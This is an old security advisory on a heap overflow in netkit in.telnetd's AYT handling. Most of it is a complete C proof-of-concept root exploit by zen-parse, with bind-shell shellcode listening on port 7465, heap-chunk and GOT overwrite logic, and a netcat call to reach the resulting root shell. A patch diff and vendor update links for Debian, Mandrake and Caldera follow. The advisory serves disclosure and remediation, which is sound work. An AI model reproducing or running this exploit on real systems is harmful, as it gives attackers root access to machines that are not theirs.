COMMAND

    telnetd

SYSTEMS AFFECTED

    netkit <=0.17 in.telnetd

PROBLEM

    'zen-parse'  found  following.    telnet-0.17-7  is  the   default
    in.telnetd for  Redhat 7.0.   The version  of /usr/sbin/in.telnetd
    that comes as default on Redhat 7.0, and many other  distributions
    contains an exploitable  overflow in the  handling of its  output,
    allowing execution of arbitrary commands.

    The problem is in the  handling of the AYT commands,  as described
    in the following advisory:

        http://oliver.efri.hr/~crv/security/bugs/mUNIXes/telnet16.html

    If the user  has local access  to the system,  it is possilble  to
    get  the  program  to  set  arbitrary environment variables in the
    environment of /bin/login, e.g. LD_PRELOAD=/tmp/make-rootshell.so.

    By filling the heap, in a similar way to the teso exploit, it  its
    possible to set 2 or more environment variables.

    If the user doesn't have local access, it is possible to overwrite
    the chunk header information for a pointer used by setenv(3),  and
    store a  new chunk  in a  user controllable  location, so when the
    envrionement  gets  reallocated  it  will  change  the  value   of
    arbitrary memory locations.

    You could  cause the  pointer to  set the  length of  the previous
    chunk to the distance back from  the chunk to a point in  netibuf,
    which itself contains a chunk to set the address of a function  in
    the GOT to point to shellcode,  which could also be stored in  the
    network input buffer.

    Sometimes bad things happen that  you have to kludge to  fix. e.g.
    push_clean() in the  proof of concept  exploit.  Sometimes  we got
    some  characters  from  the  previous  input being sent again, and
    when  that  was  a  command  to  set  an  environment  variable or
    something else that changed the environment, it kinda messed  with
    malloc calculations a little.

    As it is, this exploit will probably not work on your machine, but
    carefully modifying appropriate values should fix that.

    #include <unistd.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <stdio.h>
    #include <fcntl.h>

    /*********************************************************************
           Proof of concept netkit-0.17-7 local root exploit.

     Exploits buffer overflow in the AYT handling of in.telnetd,
     due to bad logic in the handling of snprintf(), and

          TESO advisory details were enough to allow me to put
            controlable addresses in arbitary heap locations.

        Heap based exploit. Overflow allows rewriting of some heap
         data, which allowed me to put a new heap structure in the
              input buffer, which let me do whatever I want.

    'traceroute exploit story -  By Dvorak, Synnergy Networks' was very
     helpful. Also malloc.c was good.

    *********************************************************************/
    /*
                             Notes about exploit

    1) RedHat 7.0, exploiting localhost
    2) hostname is clarity.local
    3) It probably won't work without at least a different setting for
       the --size option, and probably the --name option as well. The
       --name arguemnt  is the hostname part of the string that gets
       returned by the AYT command, which may be different to the name
       of the address you are connecting to..
    4) There are a lot of things that use the heap, making the size
       depend on alot of factors.

    5) You will might need to change some (or all) of the offsets.
       This program does allow you to brute force, if the hostname returned
       by the AYT command is not a multiple of 3 letters long.

     It is also possibly (at least according to some quick testing I did)
     exploitable on some (all?) servers with names that are multiples of three
     letters long, using the Abort Output command to add 2 characters to the
     output length, and exploit the heap in a similar manner to this method.

     (You can only directly put user controlable characters in 2 out of 3
     locations (ie: no AO will give you a multiple of 3 bytes on the heap, AO
     will give you 2 more than a multiple of 3 bytes) with controllable
     characters, but when you count the null added by the netoprintf(), and use
     0 as an option to a do or will, you can sometimes create valid chunks that
     point to locations you can control. I have only tested this method with a
     simulation, but it seems it would probably work with the telnetd as well.
     I will look into it when I have time. Maybe.)


                           .  .  _  _   _  _ .  .     _  _  _ .  .
     |_  _|_ _|_  _ .  / / |\/| |_| _| |  | ||\/|  / |  | ||_ |  |
     | |  |   |  |_|. / /  |  | |   _|.|_ |_||  | /  |_ |_| _| \/
                 |
     *********************************************************************/




    #define SERVER_PORT 23

    #define ENV 18628

    int offset12[] = {
    // netibuf[343]->the chunk start.
      -4, 0xaa,
      -5, 0xbb,
      -6, 0xcc,
      -7, 0x10,
      -9, 0xdd,
      -10, 0x68,
      -12, 0xee,
      -13, 0x88,
      -14, 0x99,
      0, 0x00
    };

    int offset3[]={
    -1,0x00,
    0,0
    };

    int *offsets=offset12;


    int dalen = 0;
    int big;
    int small;
    int mipl = 0;
    int ninbufoffset;
    char spinchars[] = "/|\\-";

    char tosend[] = {
      0xff, 0xfd, 0x03, 0xff, 0xfb, 0x18, 0xff, 0xfb, 0x1f, 0xff, 0xfb, 0x20,
      0xff, 0xfb, 0x21, 0xff, 0xfb, 0x22, 0xff, 0xfb, 0x27, 0xff, 0xfd, 0x05,
      0xff, 0xfb, 0x23, 0
    };

    char lamagra_bind_code[] =
    // the NOPs are my part... to jump over the modified places,
    // without me having to take a look to see where they are.
    // Modified to listen on 7465 == TAGS and work thru TELNET protocol.
      "\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90"
      "\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90"
      "\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90"
      "\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90"
      "\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90"
      "\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90\xeb\x20\x90\x90"
      "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
      "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
      "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
      "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
      "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x1d\x29\x89\x4d\xf0"
      "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
      "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
      "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
      "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
      "\x8d\x55\x0c\xcd\x80\xe8\xe3"
      "\xff\xff\xff\xff\xff\xff/bin/sh";

    char *shellcode = lamagra_bind_code;

    int sock;			/* fd for socket connection */
    FILE *dasock;			/* for doing fprint et al   */
    struct sockaddr_in server;	/* the server end of the socket  */
    struct hostent *hp;		/* Return value from gethostbyname() */
    char buf[40960];		/* Received data buffer */
    char sock_buf[64 * 1024];	/* Received data buffer */

    char daenv[10000];
    char oldenv[10000];

    extern int errno;
    read_sock ()
    {
      /* Prepare our buffer for a read and then read. */
      bzero (buf, sizeof (buf));
      if (read (sock, buf, sizeof (buf)) < 0)
        if (errno != 11)
          {
	    perror ("! Socket read");
	    exit (1);
          }
    }

    sock_setup ()
    {
      int flags;
      int yes = 1;
      if ((sock = socket (AF_INET, SOCK_STREAM, 0)) < 0)
        {
          perror ("! Error making the socket\n");
          exit (1);
        }
      bzero ((char *) &server, sizeof (server));
      server.sin_family = AF_INET;
      if ((hp = gethostbyname ("localhost")) == NULL)
        {
          fprintf (stderr, "! localhost unknown??\n");
          exit (1);
        }
      bcopy (hp->h_addr, &server.sin_addr, hp->h_length);
      server.sin_port = htons ((u_short) SERVER_PORT);

      /* Try to connect */
      if (connect (sock, (struct sockaddr *) &server, sizeof (server)) < 0)
        {
          perror ("! Error connecting\n");
          exit (1);
        }

      dasock = (FILE *) fdopen (sock, "w+");
      if (!dasock)
        {
          perror ("! Bad fdopen happened");
          exit (1);
        }

    /****************************************
     Thanks to xphantom for the next 4 lines.
     (which i don't need anymore   ;? )

      flags = fcntl(sock, F_GETFL, 0);
      flags |= O_NONBLOCK;
      fcntl(sock, F_SETFL, flags);
      if (setsockopt(sock, SOL_SOCKET, SO_OOBINLINE, &yes,sizeof(yes)) == -1) {
            perror("setsockopt");
            exit(1);
      }
    *****************************************/


      setbuffer (dasock, sock_buf, 64 * 1024);

    }

    do_iac (char c)
    {
      putc (0xff, dasock);
      putc (c, dasock);
    }

    do_ayt ()
    {
      do_iac (0xf6); // sets buffer length to 2
    }

    doo (char c)
    {
      putc (255, dasock);
      putc (253, dasock);
      putc (c, dasock);
    }
    will (char c)
    {
      putc (255, dasock);
      putc (251, dasock);
      putc (c, dasock);
    }
    wont (char c)
    {
      putc (255, dasock);
      putc (252, dasock);
      putc (c, dasock);
    }

    void
    solve (int remain)
    {
      int x, y;
      big = -100;
      small = -100;
      for (x = 0; x < 120; x++)
        for (y = 2; y < 80; y++)
          {
	    if (((y * 3) + (x * dalen)) == remain)
	      {
	        big = x;
	        small = y;
	        return;
	      }
          }
          fprintf (stderr, "I still can't work it out.\n\n");
          exit (1);
    }

    push_clean ()
    {
      int l;
      for (l = 0; l < 8192; l++)
        putc (0, dasock);
    }

    push_heap_attack ()
    {
      int l;
      int shaddr = 0x805c970;
      int overwrite = 0x08051e78;	// fopen
      int tosend[] = {
        0x805670eb,
        0x8,
        shaddr,
        shaddr,
        0x0,
        0x0,
        overwrite - 12,
        shaddr
      };
      fwrite (shellcode, strlen (shellcode), 1, dasock);
      for (l = strlen (shellcode); l < 289 + ninbufoffset; l++)
        putc (0, dasock);
      fwrite (tosend, 8, 4, dasock);
      fflush (dasock);
    }

    fill2 (int count, char with, int real)
    {
      int l;
      int first, rest, find;

      first = (int) (count / dalen) - 10;
      rest = (int) (((count) % dalen) / 3) * 3;
      find = count - ((first * dalen) + (rest * 3));
      solve (find);
      first += big;
      rest += small;
      for (l = 0; l < first; l++)
        do_ayt ();
      for (l = 0; l < rest; l++)
        will (with);
      if (real == 1)
        {
          push_clean ();
        }
    }

    fill (int count, char with)
    {
      fprintf (stderr, "  o Length %d char %d (%02x)\n",
	       count, with & 0xff, with & 0xff);
      fflush (stderr);
      fill2 (8257, 'z', 0);		// first part
      fill2 (count - 8257, with, 1);	// do it for real
    }

    doenv (char *danam, char *daval)
    {
      sprintf (daenv, "%c%c%c%c%c%s%c%s%c%c",
           /*  IAC   SB N-E IS VAR  name VAL value  IAC  SE  */
	       255, 250, 39, 0, 0, danam, 1, daval, 255, 240);

      fwrite (daenv, 512, 1, dasock);
      fflush (dasock);
    }

    main (int argc, char *argv[])
    {
      int br, l, dosleep = 0;
      int percent = 0;
      char spin;
      unsigned char w;
      bzero (oldenv, sizeof (oldenv));
      argv++;
      dalen = strlen ("clarity.local");
      while (argv[0])
        {
          if (!strcmp (argv[0], "--pause"))
	    dosleep = 1;

          if (!strcmp (argv[0], "--size") && argv[1])
	    {
	      mipl = atoi (argv[1]);
	      argv++;
	    }

          if (!strcmp (argv[0], "--name") && argv[1])
	    {
	      dalen = strlen (argv[1]);
	      argv++;
	    }
          argv++;
        }
      fprintf (stderr, "  o MiPl of %4d  o NameLen of %2d\n", mipl, dalen);
      if(dalen%3==0)
      {
       offsets=offset3;
      }
      else
      {
       ninbufoffset = mipl % 8192;
       offsets[11] += 32 * (mipl - ninbufoffset) / 8192;
       if (offsets[11] > 255)
         {
           fprintf (stderr, "  ! MiPl too big.", mipl, dalen);
           exit (1);
         }
       }
      sock_setup ();
      if (dosleep)
        {
          system ("sleep 1;ps aux|grep in.telnetd|grep -v grep");
          sleep (8);
        }

      dalen += strlen ("\r\n[ : yes]\r\n");
      fprintf (stderr, "o Sending IAC WILL NEW-ENVIRONMENT...\n");
      fflush (stderr);
      doo (5);
      will (39);
      fflush (dasock);
      read_sock ();
      fprintf (stderr, "o Setting up environment vars...\n");
      fflush (stderr);
      will (1);
      push_clean ();
      doenv ("USER", "zen-parse");
      doenv ("TERM", "zen-parse");
      will (39);
      fflush (dasock);
      fprintf (stderr, "o Doing overflows...\n");
      fflush (stderr);
      for (br = 0; (offsets[br] || offsets[br + 1]); br += 2)
        {
          fill (mipl + ENV + offsets[br], offsets[br + 1]);
          fflush (dasock);
          usleep (100000);
          read_sock ();
        }
      fprintf (stderr, "o Overflows done...\n");
      fflush (stderr);
      push_clean ();

      fprintf (stderr, "o Sending IACs to start login process...\n");
      fflush (stderr);
      wont (24);
      wont (32);
      wont (35);
      fprintf (dasock, "%s", tosend);
      will (1);
      push_heap_attack ();
      sleep (1);
      fprintf (stderr, "o Attempting to lauch netcat to localhost rootshell\n");
      execlp ("nc", "nc", "-v", "localhost", "7465", 0);
      fprintf (stderr,
	       "o If the exploit worked, there should be an open port on 7465.\n");
      fprintf (stderr, "  It is a root shell. You should probably close it.\n");
      fflush (stderr);
      sleep (60);
      exit (0);
    }
    /********************************************************************

     Thanks to xphantom for the help with getting the some of the socket
     stuff working properly. Erm. I didn't end up using that method, but
                             thanks anyway. ;]

    This code is Copyright (c) 2001 zen-parse
    Use and distribution is unlimited, provided the code is not modified.
    If the code, including any of text is modified, that version may not
    be redistrubuted.

    ********************************************************************/
    /* ObPlug 4 My Band: gone platinum, Chapel of Stilled voices, from */
    /********************************************************************
                Remember to visit Chapel of Stilled Voices:
                                     _                 _     _ .  .
       |_  _|_ _|_  _ .  / /.  .  _  _|  _  _ .  .  / |   _ |_ |  |
       | |  |   |  |_|. / / |\/| |_| _|.|_ |_||\/| /  |_ |_| _| \/
      - - - - - - -|- - - - - - -|- - - - - - - - - - - - - - - - - -
                   |             |
    If there is anything below the next line someone is not following the
    rules.  --zen-parse
    ************************************END*****************************/

SOLUTION

    Quick patch:

    --- netkit-telnet-0.17/telnetd/utility.c.ayt	Wed Aug  8 16:33:01 2001
    +++ netkit-telnet-0.17/telnetd/utility.c	Wed Aug  8 17:20:39 2001
    @@ -56,18 +56,25 @@
     void
     netoprintf(const char *fmt, ...)
     {
    -   int len, maxsize;
    +   int len = 0, maxsize;
        va_list ap;
        int done=0;

        while (!done) {
           maxsize = sizeof(netobuf) - (nfrontp - netobuf);
    +      if (maxsize < 0) {
    +	/* no way this is gonna fit - try to flush some */
    +	netflush();
    +        maxsize = sizeof(netobuf) - (nfrontp - netobuf);
    +	if (maxsize < 0)
    +	  break;
    +      }

           va_start(ap, fmt);
           len = vsnprintf(nfrontp, maxsize, fmt, ap);
           va_end(ap);

    -      if (len<0 || len==maxsize) {
    +      if (len<=0 || len==maxsize) {
 	     /* didn't fit */
 	     netflush();
           }
    --- netkit-telnet-0.17/telnetd/telnetd.c.ayt	Wed Aug  8 16:33:01 2001
    +++ netkit-telnet-0.17/telnetd/telnetd.c	Wed Aug  8 17:21:44 2001
    @@ -1277,7 +1277,7 @@
 	    return;
         }
     #endif
    -    netoprintf("\r\n[%s : yes]\r\n", host_name);
    +    netoprintf("\r\n[Yes]\r\n");
     }

     void doeof(void) {

    For Debian:

        http://security.debian.org/dists/stable/updates/main/source/netkit-telnet_0.16-4potato.2.diff.gz
        http://security.debian.org/dists/stable/updates/main/source/netkit-telnet_0.16.orig.tar.gz
        http://security.debian.org/dists/stable/updates/main/source/netkit-telnet_0.16-4potato.2.dsc
        http://security.debian.org/dists/stable/updates/main/binary-alpha/telnet_0.16-4potato.2_alpha.deb
        http://security.debian.org/dists/stable/updates/main/binary-alpha/telnetd_0.16-4potato.2_alpha.deb
        http://security.debian.org/dists/stable/updates/main/binary-arm/telnet_0.16-4potato.2_arm.deb
        http://security.debian.org/dists/stable/updates/main/binary-arm/telnetd_0.16-4potato.2_arm.deb
        http://security.debian.org/dists/stable/updates/main/binary-i386/telnet_0.16-4potato.2_i386.deb
        http://security.debian.org/dists/stable/updates/main/binary-i386/telnetd_0.16-4potato.2_i386.deb
        http://security.debian.org/dists/stable/updates/main/binary-m68k/telnet_0.16-4potato.2_m68k.deb
        http://security.debian.org/dists/stable/updates/main/binary-m68k/telnetd_0.16-4potato.2_m68k.deb
        http://security.debian.org/dists/stable/updates/main/binary-powerpc/telnet_0.16-4potato.2_powerpc.deb
        http://security.debian.org/dists/stable/updates/main/binary-powerpc/telnetd_0.16-4potato.2_powerpc.deb
        http://security.debian.org/dists/stable/updates/main/binary-sparc/telnet_0.16-4potato.2_sparc.deb
        http://security.debian.org/dists/stable/updates/main/binary-sparc/telnetd_0.16-4potato.2_sparc.deb
        http://security.debian.org/dists/stable/updates/main/source/netkit-telnet-ssl_0.16.3-1.1.diff.gz
        http://security.debian.org/dists/stable/updates/main/source/netkit-telnet-ssl_0.16.3-1.1.dsc
        http://security.debian.org/dists/stable/updates/main/source/netkit-telnet-ssl_0.16.3.orig.tar.gz
        http://security.debian.org/dists/stable/updates/main/binary-alpha/ssltelnet_0.16.3-1.1_alpha.deb
        http://security.debian.org/dists/stable/updates/main/binary-alpha/telnet-ssl_0.16.3-1.1_alpha.deb
        http://security.debian.org/dists/stable/updates/main/binary-alpha/telnetd-ssl_0.16.3-1.1_alpha.deb
        http://security.debian.org/dists/stable/updates/main/binary-arm/ssltelnet_0.16.3-1.1_arm.deb
        http://security.debian.org/dists/stable/updates/main/binary-arm/telnet-ssl_0.16.3-1.1_arm.deb
        http://security.debian.org/dists/stable/updates/main/binary-arm/telnetd-ssl_0.16.3-1.1_arm.deb
        http://security.debian.org/dists/stable/updates/main/binary-i386/ssltelnet_0.16.3-1.1_i386.deb
        http://security.debian.org/dists/stable/updates/main/binary-i386/telnet-ssl_0.16.3-1.1_i386.deb
        http://security.debian.org/dists/stable/updates/main/binary-i386/telnetd-ssl_0.16.3-1.1_i386.deb
        http://security.debian.org/dists/stable/updates/main/binary-m68k/ssltelnet_0.16.3-1.1_m68k.deb
        http://security.debian.org/dists/stable/updates/main/binary-m68k/telnet-ssl_0.16.3-1.1_m68k.deb
        http://security.debian.org/dists/stable/updates/main/binary-m68k/telnetd-ssl_0.16.3-1.1_m68k.deb
        http://security.debian.org/dists/stable/updates/main/binary-powerpc/ssltelnet_0.16.3-1.1_powerpc.deb
        http://security.debian.org/dists/stable/updates/main/binary-powerpc/telnet-ssl_0.16.3-1.1_powerpc.deb
        http://security.debian.org/dists/stable/updates/main/binary-powerpc/telnetd-ssl_0.16.3-1.1_powerpc.deb
        http://security.debian.org/dists/stable/updates/main/binary-sparc/ssltelnet_0.16.3-1.1_sparc.deb
        http://security.debian.org/dists/stable/updates/main/binary-sparc/telnet-ssl_0.16.3-1.1_sparc.deb
        http://security.debian.org/dists/stable/updates/main/binary-sparc/telnetd-ssl_0.16.3-1.1_sparc.deb
        http://security.debian.org/dists/stable/updates/main/binary-sparc/ssltelnet_0.16.3-1.2_sparc.deb
        http://security.debian.org/dists/stable/updates/main/binary-sparc/telnet-ssl_0.16.3-1.2_sparc.deb
        http://security.debian.org/dists/stable/updates/main/binary-sparc/telnetd-ssl_0.16.3-1.2_sparc.deb

    For Mandrake Linux:

        Linux-Mandrake 7.1: 7.1/RPMS/telnet-0.16-4.1mdk.i586.rpm
                            7.1/RPMS/telnet-server-0.16-4.1mdk.i586.rpm
                            7.1/SRPMS/telnet-0.16-4.1mdk.src.rpm
        Linux-Mandrake 7.2: 7.2/RPMS/telnet-0.17-7.1mdk.i586.rpm
                            7.2/RPMS/telnet-server-0.17-7.1mdk.i586.rpm
                            7.2/SRPMS/telnet-0.17-7.1mdk.src.rpm
        Mandrake Linux 8.0: 8.0/RPMS/telnet-0.17-7.1mdk.i586.rpm
                            8.0/RPMS/telnet-server-0.17-7.1mdk.i586.rpm
                            8.0/SRPMS/telnet-0.17-7.1mdk.src.rpm
    Corporate Server 1.0.1: 1.0.1/RPMS/telnet-0.16-4.1mdk.i586.rpm
                            1.0.1/RPMS/telnet-server-0.16-4.1mdk.i586.rpm
                            1.0.1/SRPMS/telnet-0.16-4.1mdk.src.rpm
Single Network Firewall 7.2:snf7.2/RPMS/telnet-0.17-7.1mdk.i586.rpm
                            snf7.2/RPMS/telnet-server-0.17-7.1mdk.i586.rpm
                            snf7.2/SRPMS/telnet-0.17-7.1mdk.src.rpm

    For Caldera Linux:

        ftp://ftp.caldera.com/pub/updates/OpenLinux/2.3/current/RPMS/netkit-telnet-0.17-12a.i386.rpm
        ftp://ftp.caldera.com/pub/updates/OpenLinux/2.3/current/SRPMS/netkit-telnet-0.17-12a.src.rpm
        ftp://ftp.caldera.com/pub/updates/eServer/2.3/current/RPMS/netkit-telnet-0.17-12a.i386.rpm
        ftp://ftp.caldera.com/pub/updates/eServer/2.3/current/SRPMS/netkit-telnet-0.17-12a.src.rpm
        ftp://ftp.caldera.com/pub/updates/eDesktop/2.4/current/RPMS/netkit-telnet-0.17-12a.i386.rpm
        ftp://ftp.caldera.com/pub/updates/eDesktop/2.4/current/SRPMS/netkit-telnet-0.17-12a.src.rpm
        ftp://ftp.caldera.com/pub/updates/OpenLinux/3.1/Server/current/RPMS/netkit-telnet-0.17-12.i386.rpm
        ftp://ftp.caldera.com/pub/updates/OpenLinux/3.1/Server/current/SRPMS/netkit-telnet-0.17-12.src.rpm
        ftp://ftp.caldera.com/pub/updates/OpenLinux/3.1/Workstation/current/RPMS/netkit-telnet-0.17-12.i386.rpm
        ftp://ftp.caldera.com/pub/updates/OpenLinux/3.1/Workstation/current/SRPMS/netkit-telnet-0.17-12.src.rpm